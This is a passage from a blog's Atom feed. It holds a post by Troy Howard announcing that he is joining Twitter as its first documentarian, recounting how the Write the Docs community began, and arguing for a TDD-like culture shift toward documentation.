that here in Portland, I was surrounded by some amazing people working with documentation; &lt;a href=&#34;https://twitter.com/noirinp&#34;&gt;Noirin Plunkett&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/lucperkins&#34;&gt;Luc Perkins&lt;/a&gt;, &lt;a href=&#34;http://hawthornlandings.org/&#34;&gt;Leslie Hawthorn&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/adron&#34;&gt;Adron Hall&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/joebadmo&#34;&gt;Joe Moon&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/coderoshi&#34;&gt;Eric Redmond&lt;/a&gt;. I saw a community that didn&#39;t see itself.&lt;/p&gt;&#xA;&lt;p&gt;Eric Redmond was the first person I&#39;d met with the (self-appointed) job title &amp;quot;documentarian&amp;quot;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;building-a-community-of-documentarians&#34;&gt;Building a Community of Documentarians&lt;/h3&gt;&#xA;&lt;p&gt;I have a &lt;a href=&#34;http://nodepdx.org/&#34;&gt;habit&lt;/a&gt; of &lt;a href=&#34;http://jsconf.cn/&#34;&gt;starting&lt;/a&gt; &lt;a href=&#34;http://conf.writethedocs.org&#34;&gt;conferences&lt;/a&gt;, as well as local meetups, and creating terrible inside-joke-esque slang. I really enjoy helping people organize to create the things they want to see happen.&lt;/p&gt;&#xA;&lt;p&gt;Naturally, my first reaction to Eric Holscher&#39;s &lt;a href=&#34;https://twitter.com/ericholscher/status/287998770011074560&#34;&gt;existential angst&lt;/a&gt; about docs was, &amp;quot;Let&#39;s have a conference&amp;quot;. I called up Eric Redmond and we had our first meeting of documentarians (I refer to them collectively as &amp;quot;the Erics&amp;quot;).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There exists a tribe of documentarians in the world. Up until this point, they haven’t had a central place to meet each other, and coalesce into a community. We are providing the space to allow this to happen, both in person and online.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The headline quote above is from a doc, then titled &amp;quot;&lt;a href=&#34;http://docs.writethedocs.org/about/vision/&#34;&gt;Write the Docs: Manifesto&lt;/a&gt;&amp;quot;, written that night. The Erics almost laughed the idea off at first; no one would come, no one would sponsor it. I said &amp;quot;no really, it&#39;s not that hard, let&#39;s see what could happen&amp;quot; and bought another round of beer. So, we created a landing page with minimal details, included a call to action and a mailing list signup form, then &lt;a href=&#34;https://news.ycombinator.com/item?id=5129425&#34;&gt;posted the link to Hacker News&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It seems we touched a nerve.&lt;/p&gt;&#xA;&lt;p&gt;Originally, &lt;a href=&#34;https://twitter.com/thoward37/status/288797696939151360&#34;&gt;we were discussing a 50-100 person conference&lt;/a&gt;, mostly made up of local Portland people, probably mostly developers. Instead, we had hundreds of signups for the mailing list in the first day. Over the next couple months we were contacted by people from a variety of disciplines; technical writing industry groups, designers, typographers, literate programmers, API driven startups, and more. We quickly &lt;a href=&#34;http://docs.writethedocs.org/en/2013/conference/venue.html&#34;&gt;found a new venue&lt;/a&gt;, and sold out a 250 person conference. The &lt;a href=&#34;http://adaptgather.com/2013/04/11/write-the-docs-2013/&#34;&gt;experience&lt;/a&gt; was amazing. We&#39;d found our tribe, and they&#39;d found us.&lt;/p&gt;&#xA;&lt;p&gt;Now, we&#39;re ramping up for year two, with conferences both &lt;a href=&#34;http://conf.writethedocs.org/na/2014/index.html&#34;&gt;in Portland&lt;/a&gt; and &lt;a href=&#34;http://conf.writethedocs.org/eu/2014/index.html&#34;&gt;in Budapest&lt;/a&gt; this spring. We&#39;ve seen local meetups spring up in &lt;a href=&#34;http://www.meetup.com/Write-the-Docs/&#34;&gt;San Francisco&lt;/a&gt;, &lt;a href=&#34;http://www.meetup.com/Write-The-Docs-Boston/&#34;&gt;Boston&lt;/a&gt;, and &lt;a href=&#34;http://www.meetup.com/Write-The-Docs-NY/&#34;&gt;New York&lt;/a&gt;. We&#39;re working on building more.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whats-a-documentarian&#34;&gt;What&#39;s a Documentarian?&lt;/h3&gt;&#xA;&lt;p&gt;During my interview at Twitter, one of the questions I was asked was:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;What unique skill does a documentarian have that is distinct from a developer, technical writer, etc?&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;At the time, I was a bit stumped, and sort of rambled out something about focusing on docs as a priority... but that wasn&#39;t really it, and the question nagged at me. In the following days I crunched on it in my back-brain, and eventually came up with a slightly more coherent answer.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; is someone who wants to share something with someone, looks at a blank screen, and &lt;a href=&#34;http://www.brainyquote.com/quotes/quotes/m/michelange161309.html&#34;&gt;knows what should be there&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; uses the tools of code, technical writing, and visual design to create engaging &lt;a href=&#34;http://www.makinglearningvisibleresources.org/documentation-when-does-it-make-learning-visible.html&#34;&gt;learning&lt;/a&gt; experiences that work well for a wide variety of people.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; is more than an intersection of skills; it&#39;s someone with &lt;a href=&#34;http://alexwarren.co.uk/2013/06/26/documentation-empathy/&#34;&gt;empathy&lt;/a&gt; for the learner, and a unique vision for the accessibility of difficult topics.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; does more than describing what&#39;s there; they explain how to use it in a way that you can understand it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;culture-change-agile-tdd-and-documentation&#34;&gt;Culture Change: Agile, TDD and Documentation&lt;/h3&gt;&#xA;&lt;p&gt;Those of us with long enough memories remember a time in developer culture when writing tests was scoffed at. It was something only &lt;em&gt;crazy people&lt;/em&gt; really cared about. Unit tests? I guess, if you have extra time, and are extremely particular... This all changed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://c2.com/cgi/wiki?AgileManifesto&#34;&gt;Agile&lt;/a&gt; made us realize the error of our ways. Someone slid &lt;a href=&#34;http://en.wikipedia.org/wiki/Test-driven_development&#34;&gt;TDD&lt;/a&gt;, &lt;a href=&#34;http://www.extremeprogramming.org/rules/testfirst.html&#34;&gt;test-first development&lt;/a&gt;, and &lt;a href=&#34;http://www.c2.com/cgi/wiki?ContinuousIntegration&#34;&gt;CI/CD&lt;/a&gt; into the cultural forefront.&lt;/p&gt;&#xA;&lt;p&gt;Nowadays, if you release code without tests, you feel &lt;a href=&#34;http://notashameddeveloper.blogspot.com/&#34;&gt;ashamed&lt;/a&gt; of yourself. People agonize over their &lt;a href=&#34;http://en.wikipedia.org/wiki/Code_coverage&#34;&gt;code coverage&lt;/a&gt;, and slavishly attempt to please the &lt;a href=&#34;https://travis-ci.org/&#34;&gt;TravisCI&lt;/a&gt; test runner. They wear their passing builds with a &lt;a href=&#34;http://elgalu.github.io/2013/add-achievement-badges-to-your-gem-readme/&#34;&gt;badge of pride&lt;/a&gt; on the front page of their open source project pages.&lt;/p&gt;&#xA;&lt;p&gt;But one thing always bugged me about the &lt;a href=&#34;http://agilemanifesto.org/&#34;&gt;Agile Manifesto&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Individuals and interactions&lt;/strong&gt; over processes and tools&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;working-software-over-comprehensive-documentation&#34;&gt;&lt;strong&gt;Working software over comprehensive documentation&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Huh?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Customer collaboration&lt;/strong&gt; over contract negotiation&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Responding to change&lt;/strong&gt; over following a plan&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes!&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Why was documentation derided in this manifesto? How are those two things even related? Who spends time documenting broken software? But this is &lt;em&gt;number two&lt;/em&gt; on the Agile Manifesto&#39;s hit-list of problems to solve.&lt;/p&gt;&#xA;&lt;p&gt;The ostensible reason for this is &lt;em&gt;upfront&lt;/em&gt; documentation. Writing up design docs about a software that you &lt;em&gt;might&lt;/em&gt; make, instead of just making it. We can all thank &lt;a href=&#34;http://c2.com/cgi/wiki?WardCunningham&#34;&gt;Ward Cunningham&lt;/a&gt;, &lt;a href=&#34;http://c2.com/cgi/wiki?AlistairCockburn&#34;&gt;Alastair Cockburn&lt;/a&gt;, &lt;a href=&#34;http://c2.com/cgi/wiki?MartinFowler&#34;&gt;Martin Fowler&lt;/a&gt;, and &lt;a href=&#34;http://en.wikipedia.org/wiki/Agile_software_development#Agile_values&#34;&gt;many others&lt;/a&gt; for changing the &lt;em&gt;status quo&lt;/em&gt; in our industry. The standard of the nineties is no longer the norm.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, for documentation, it went a bit farther in the minds of the &lt;strong&gt;General Public™&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That rule in the manifesto translated to &amp;quot;documentation takes time&amp;quot;; too much time? Hmm.. So does writing unit tests.&lt;/p&gt;&#xA;&lt;p&gt;Well, ok, but it&#39;s &lt;em&gt;really because&lt;/em&gt; it gets out of sync with code so easily? Yeah but, so do unit tests.&lt;/p&gt;&#xA;&lt;p&gt;Both &lt;a href=&#34;http://z.caudate.me/combining-tests-and-documentation/&#34;&gt;unit tests and documentation&lt;/a&gt; are often sticking points for people trying to understand the agile way of doing things. How does one stay agile, but also write tests, and create excellent docs?&lt;/p&gt;&#xA;&lt;p&gt;People have tried to write off this problem many different ways, &lt;a href=&#34;http://www.agilemodeling.com/essays/barelyGoodEnough.html&#34;&gt;Ambler&#39;s JBGE&lt;/a&gt; (&amp;quot;Just Barely Good Enough&amp;quot;) and Cockburn&#39;s &lt;em&gt;&lt;a href=&#34;http://www.amazon.com/exec/obidos/ASIN/0201699478/ref=ase_alistaircockburn&#34;&gt;Crystal Clear&lt;/a&gt;&lt;/em&gt; method&#39;s &amp;quot;just enough documentation&amp;quot; being the most popular takes. So, what exactly is the MVD (minimum viable documentation)? When does it cross the line from &amp;quot;barely good enough&amp;quot; to &amp;quot;comprehensive&amp;quot;, and why is that a deal breaker?&lt;/p&gt;&#xA;&lt;p&gt;All of this sounds like a &lt;strong&gt;tooling problem&lt;/strong&gt; to me. Takes too much time? Build a tool to make it faster and easier. Gets out of sync with code? Build a tool to help keep it in sync.&lt;/p&gt;&#xA;&lt;p&gt;**It&#39;s my goal to see the development culture around documentation change just like it did more than a decade ago with Agile and TDD. **&lt;/p&gt;&#xA;&lt;p&gt;The time for all technical people to care about documentation is &lt;strong&gt;now&lt;/strong&gt;. We’ve lived too long with &lt;em&gt;awful&lt;/em&gt; instructions for the tools we use everyday. People should demand solid instruction of things that they use.&lt;/p&gt;&#xA;&lt;p&gt;I believe it should be easy for people to start writing documentation. There should be straight-forward guides to getting started with good tools.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m going to make that happen.&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-twitter&#34;&gt;Why Twitter?&lt;/h3&gt;&#xA;&lt;p&gt;I feel that Twitter is the perfect place to launch this revolution. Twitter cares about documentation, and has a significant docs problem. They have one-thousand (1000) developers, and three (3) technical writers. They are an API driven product. They have released a wealth of great open source tools. They care about communication; it&#39;s their core value proposition.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s a big enough place that it will be hard to solve their problems, but small enough that I might actually be able to do it; then translate my experience there to the rest of the world.&lt;/p&gt;&#xA;&lt;p&gt;So, my first goal will to be to ensure that Twitter has the best documentation in the world.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, I&#39;ll build open source tooling to make that possible, and help other organizations achieve the same level of excellence using those tools.&lt;/p&gt;&#xA;&lt;p&gt;After everyone in Twitter cares about documentation as much as I do, I&#39;ll switch my role over to &amp;quot;Open Source Advocate&amp;quot;, and share our success with the rest of the world.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m excited to become Twitter&#39;s first documentarian, and I don&#39;t expect to the be the last.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;TL;DR: I&#39;m excited to announce that I am joining Twitter to focus full-time on documentation and open source.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;background&#34;&gt;Background&lt;/h3&gt;&#xA;&lt;p&gt;Living in Portland, I&#39;m lucky to be surrounded by some amazing people. If you wander down to the &lt;a href=&#34;http://www.foodcartsportland.com/&#34;&gt;food carts&lt;/a&gt; on any given weekday at lunch time, you&#39;re likely to run into any number of luminary &#39;people from the internet&#39; hanging around.&lt;/p&gt;&#xA;&lt;p&gt;One of those people might be &lt;a href=&#34;http://twitter.com/ericholscher&#34;&gt;Eric Holscher&lt;/a&gt;. I&#39;ve known Eric since 2011, mostly as a &lt;a href=&#34;http://flic.kr/p/eaGmjA&#34;&gt;towering wookie-like figure&lt;/a&gt; with &lt;a href=&#34;https://twitter.com/ericholscher/status/270709054115033088&#34;&gt;killer ping-pong moves&lt;/a&gt; that is also an &lt;a href=&#34;http://ericholscher.com/blog/2009/nov/10/what-they-didnt-teach-me-college/&#34;&gt;insightful Python developer&lt;/a&gt;. I was vaguely aware of his side-project, &lt;a href=&#34;https://readthedocs.org/&#34;&gt;Read The Docs&lt;/a&gt;, which, &lt;a href=&#34;http://ericholscher.com/blog/2010/aug/16/announcing-read-docs/&#34;&gt;since 2010&lt;/a&gt; has been a vital resource to the Python open source community.&lt;/p&gt;&#xA;&lt;p&gt;As a developer, I have always cared about documentation, but I&#39;m not sure I ever thought about it &lt;em&gt;deeply&lt;/em&gt; until I got to know Eric Holscher better. Sometime in early 2013, I ran into Eric at a local eatery, and we started discussing Read The Docs. He had recently &lt;a href=&#34;http://ericholscher.com/blog/2013/jan/10/walk-woods/&#34;&gt;left his job at Urban Airship&lt;/a&gt; and was able to work on Read The Docs full time. This was going well, but he was concerned about the future of the project. There didn&#39;t seem to be a sense of community around documentation. Was documentation ever going to be given the focus it needed?&lt;/p&gt;&#xA;&lt;p&gt;At the same time, I looked around me and realized that here in Portland, I was surrounded by some amazing people working with documentation; &lt;a href=&#34;https://twitter.com/noirinp&#34;&gt;Noirin Plunkett&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/lucperkins&#34;&gt;Luc Perkins&lt;/a&gt;, &lt;a href=&#34;http://hawthornlandings.org/&#34;&gt;Leslie Hawthorn&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/adron&#34;&gt;Adron Hall&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/joebadmo&#34;&gt;Joe Moon&lt;/a&gt;, &lt;a href=&#34;https://twitter.com/coderoshi&#34;&gt;Eric Redmond&lt;/a&gt;. I saw a community that didn&#39;t see itself.&lt;/p&gt;&#xA;&lt;p&gt;Eric Redmond was the first person I&#39;d met with the (self-appointed) job title &amp;quot;documentarian&amp;quot;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;building-a-community-of-documentarians&#34;&gt;Building a Community of Documentarians&lt;/h3&gt;&#xA;&lt;p&gt;I have a &lt;a href=&#34;http://nodepdx.org/&#34;&gt;habit&lt;/a&gt; of &lt;a href=&#34;http://jsconf.cn/&#34;&gt;starting&lt;/a&gt; &lt;a href=&#34;http://conf.writethedocs.org&#34;&gt;conferences&lt;/a&gt;, as well as local meetups, and creating terrible inside-joke-esque slang. I really enjoy helping people organize to create the things they want to see happen.&lt;/p&gt;&#xA;&lt;p&gt;Naturally, my first reaction to Eric Holscher&#39;s &lt;a href=&#34;https://twitter.com/ericholscher/status/287998770011074560&#34;&gt;existential angst&lt;/a&gt; about docs was, &amp;quot;Let&#39;s have a conference&amp;quot;. I called up Eric Redmond and we had our first meeting of documentarians (I refer to them collectively as &amp;quot;the Erics&amp;quot;).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There exists a tribe of documentarians in the world. Up until this point, they haven’t had a central place to meet each other, and coalesce into a community. We are providing the space to allow this to happen, both in person and online.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The headline quote above is from a doc, then titled &amp;quot;&lt;a href=&#34;http://docs.writethedocs.org/about/vision/&#34;&gt;Write the Docs: Manifesto&lt;/a&gt;&amp;quot;, written that night. The Erics almost laughed the idea off at first; no one would come, no one would sponsor it. I said &amp;quot;no really, it&#39;s not that hard, let&#39;s see what could happen&amp;quot; and bought another round of beer. So, we created a landing page with minimal details, included a call to action and a mailing list signup form, then &lt;a href=&#34;https://news.ycombinator.com/item?id=5129425&#34;&gt;posted the link to Hacker News&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It seems we touched a nerve.&lt;/p&gt;&#xA;&lt;p&gt;Originally, &lt;a href=&#34;https://twitter.com/thoward37/status/288797696939151360&#34;&gt;we were discussing a 50-100 person conference&lt;/a&gt;, mostly made up of local Portland people, probably mostly developers. Instead, we had hundreds of signups for the mailing list in the first day. Over the next couple months we were contacted by people from a variety of disciplines; technical writing industry groups, designers, typographers, literate programmers, API driven startups, and more. We quickly &lt;a href=&#34;http://docs.writethedocs.org/en/2013/conference/venue.html&#34;&gt;found a new venue&lt;/a&gt;, and sold out a 250 person conference. The &lt;a href=&#34;http://adaptgather.com/2013/04/11/write-the-docs-2013/&#34;&gt;experience&lt;/a&gt; was amazing. We&#39;d found our tribe, and they&#39;d found us.&lt;/p&gt;&#xA;&lt;p&gt;Now, we&#39;re ramping up for year two, with conferences both &lt;a href=&#34;http://conf.writethedocs.org/na/2014/index.html&#34;&gt;in Portland&lt;/a&gt; and &lt;a href=&#34;http://conf.writethedocs.org/eu/2014/index.html&#34;&gt;in Budapest&lt;/a&gt; this spring. We&#39;ve seen local meetups spring up in &lt;a href=&#34;http://www.meetup.com/Write-the-Docs/&#34;&gt;San Francisco&lt;/a&gt;, &lt;a href=&#34;http://www.meetup.com/Write-The-Docs-Boston/&#34;&gt;Boston&lt;/a&gt;, and &lt;a href=&#34;http://www.meetup.com/Write-The-Docs-NY/&#34;&gt;New York&lt;/a&gt;. We&#39;re working on building more.&lt;/p&gt;&#xA;&lt;h3 id=&#34;whats-a-documentarian&#34;&gt;What&#39;s a Documentarian?&lt;/h3&gt;&#xA;&lt;p&gt;During my interview at Twitter, one of the questions I was asked was:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;What unique skill does a documentarian have that is distinct from a developer, technical writer, etc?&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;At the time, I was a bit stumped, and sort of rambled out something about focusing on docs as a priority... but that wasn&#39;t really it, and the question nagged at me. In the following days I crunched on it in my back-brain, and eventually came up with a slightly more coherent answer.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; is someone who wants to share something with someone, looks at a blank screen, and &lt;a href=&#34;http://www.brainyquote.com/quotes/quotes/m/michelange161309.html&#34;&gt;knows what should be there&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; uses the tools of code, technical writing, and visual design to create engaging &lt;a href=&#34;http://www.makinglearningvisibleresources.org/documentation-when-does-it-make-learning-visible.html&#34;&gt;learning&lt;/a&gt; experiences that work well for a wide variety of people.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; is more than an intersection of skills; it&#39;s someone with &lt;a href=&#34;http://alexwarren.co.uk/2013/06/26/documentation-empathy/&#34;&gt;empathy&lt;/a&gt; for the learner, and a unique vision for the accessibility of difficult topics.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A &lt;strong&gt;documentarian&lt;/strong&gt; does more than describing what&#39;s there; they explain how to use it in a way that you can understand it.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;culture-change-agile-tdd-and-documentation&#34;&gt;Culture Change: Agile, TDD and Documentation&lt;/h3&gt;&#xA;&lt;p&gt;Those of us with long enough memories remember a time in developer culture when writing tests was scoffed at. It was something only &lt;em&gt;crazy people&lt;/em&gt; really cared about. Unit tests? I guess, if you have extra time, and are extremely particular... This all changed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://c2.com/cgi/wiki?AgileManifesto&#34;&gt;Agile&lt;/a&gt; made us realize the error of our ways. Someone slid &lt;a href=&#34;http://en.wikipedia.org/wiki/Test-driven_development&#34;&gt;TDD&lt;/a&gt;, &lt;a href=&#34;http://www.extremeprogramming.org/rules/testfirst.html&#34;&gt;test-first development&lt;/a&gt;, and &lt;a href=&#34;http://www.c2.com/cgi/wiki?ContinuousIntegration&#34;&gt;CI/CD&lt;/a&gt; into the cultural forefront.&lt;/p&gt;&#xA;&lt;p&gt;Nowadays, if you release code without tests, you feel &lt;a href=&#34;http://notashameddeveloper.blogspot.com/&#34;&gt;ashamed&lt;/a&gt; of yourself. People agonize over their &lt;a href=&#34;http://en.wikipedia.org/wiki/Code_coverage&#34;&gt;code coverage&lt;/a&gt;, and slavishly attempt to please the &lt;a href=&#34;https://travis-ci.org/&#34;&gt;TravisCI&lt;/a&gt; test runner. They wear their passing builds with a &lt;a href=&#34;http://elgalu.github.io/2013/add-achievement-badges-to-your-gem-readme/&#34;&gt;badge of pride&lt;/a&gt; on the front page of their open source project pages.&lt;/p&gt;&#xA;&lt;p&gt;But one thing always bugged me about the &lt;a href=&#34;http://agilemanifesto.org/&#34;&gt;Agile Manifesto&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Individuals and interactions&lt;/strong&gt; over processes and tools&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;working-software-over-comprehensive-documentation&#34;&gt;&lt;strong&gt;Working software over comprehensive documentation&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Huh?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Customer collaboration&lt;/strong&gt; over contract negotiation&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Responding to change&lt;/strong&gt; over following a plan&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes!&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Why was documentation derided in this manifesto? How are those two things even related? Who spends time documenting broken software? But this is &lt;em&gt;number two&lt;/em&gt; on the Agile Manifesto&#39;s hit-list of problems to solve.&lt;/p&gt;&#xA;&lt;p&gt;The ostensible reason for this is &lt;em&gt;upfront&lt;/em&gt; documentation. Writing up design docs about a software that you &lt;em&gt;might&lt;/em&gt; make, instead of just making it. We can all thank &lt;a href=&#34;http://c2.com/cgi/wiki?WardCunningham&#34;&gt;Ward Cunningham&lt;/a&gt;, &lt;a href=&#34;http://c2.com/cgi/wiki?AlistairCockburn&#34;&gt;Alastair Cockburn&lt;/a&gt;, &lt;a href=&#34;http://c2.com/cgi/wiki?MartinFowler&#34;&gt;Martin Fowler&lt;/a&gt;, and &lt;a href=&#34;http://en.wikipedia.org/wiki/Agile_software_development#Agile_values&#34;&gt;many others&lt;/a&gt; for changing the &lt;em&gt;status quo&lt;/em&gt; in our industry. The standard of the nineties is no longer the norm.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, for documentation, it went a bit farther in the minds of the &lt;strong&gt;General Public™&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That rule in the manifesto translated to &amp;quot;documentation takes time&amp;quot;; too much time? Hmm.. So does writing unit tests.&lt;/p&gt;&#xA;&lt;p&gt;Well, ok, but it&#39;s &lt;em&gt;really because&lt;/em&gt; it gets out of sync with code so easily? Yeah but, so do unit tests.&lt;/p&gt;&#xA;&lt;p&gt;Both &lt;a href=&#34;http://z.caudate.me/combining-tests-and-documentation/&#34;&gt;unit tests and documentation&lt;/a&gt; are often sticking points for people trying to understand the agile way of doing things. How does one stay agile, but also write tests, and create excellent docs?&lt;/p&gt;&#xA;&lt;p&gt;People have tried to write off this problem many different ways, &lt;a href=&#34;http://www.agilemodeling.com/essays/barelyGoodEnough.html&#34;&gt;Ambler&#39;s JBGE&lt;/a&gt; (&amp;quot;Just Barely Good Enough&amp;quot;) and Cockburn&#39;s &lt;em&gt;&lt;a href=&#34;http://www.amazon.com/exec/obidos/ASIN/0201699478/ref=ase_alistaircockburn&#34;&gt;Crystal Clear&lt;/a&gt;&lt;/em&gt; method&#39;s &amp;quot;just enough documentation&amp;quot; being the most popular takes. So, what exactly is the MVD (minimum viable documentation)? When does it cross the line from &amp;quot;barely good enough&amp;quot; to &amp;quot;comprehensive&amp;quot;, and why is that a deal breaker?&lt;/p&gt;&#xA;&lt;p&gt;All of this sounds like a &lt;strong&gt;tooling problem&lt;/strong&gt; to me. Takes too much time? Build a tool to make it faster and easier. Gets out of sync with code? Build a tool to help keep it in sync.&lt;/p&gt;&#xA;&lt;p&gt;**It&#39;s my goal to see the development culture around documentation change just like it did more than a decade ago with Agile and TDD. **&lt;/p&gt;&#xA;&lt;p&gt;The time for all technical people to care about documentation is &lt;strong&gt;now&lt;/strong&gt;. We’ve lived too long with &lt;em&gt;awful&lt;/em&gt; instructions for the tools we use everyday. People should demand solid instruction of things that they use.&lt;/p&gt;&#xA;&lt;p&gt;I believe it should be easy for people to start writing documentation. There should be straight-forward guides to getting started with good tools.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m going to make that happen.&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-twitter&#34;&gt;Why Twitter?&lt;/h3&gt;&#xA;&lt;p&gt;I feel that Twitter is the perfect place to launch this revolution. Twitter cares about documentation, and has a significant docs problem. They have one-thousand (1000) developers, and three (3) technical writers. They are an API driven product. They have released a wealth of great open source tools. They care about communication; it&#39;s their core value proposition.&lt;/p&gt;&#xA;&lt;p&gt;It&#39;s a big enough place that it will be hard to solve their problems, but small enough that I might actually be able to do it; then translate my experience there to the rest of the world.&lt;/p&gt;&#xA;&lt;p&gt;So, my first goal will to be to ensure that Twitter has the best documentation in the world.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, I&#39;ll build open source tooling to make that possible, and help other organizations achieve the same level of excellence using those tools.&lt;/p&gt;&#xA;&lt;p&gt;After everyone in Twitter cares about documentation as much as I do, I&#39;ll switch my role over to &amp;quot;Open Source Advocate&amp;quot;, and share our success with the rest of the world.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m excited to become Twitter&#39;s first documentarian, and I don&#39;t expect to the be the last.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Where are Docker images stored?</title>
		<id>https://blog.thoward37.me/articles/where-are-docker-images-stored</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/where-are-docker-images-stored" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/where-are-docker-images-stored" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/where-are-docker-images-stored" type="text/html"></link>
		<published>2013-12-12T00:00:00+00:00</published>
		<updated>2013-12-12T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
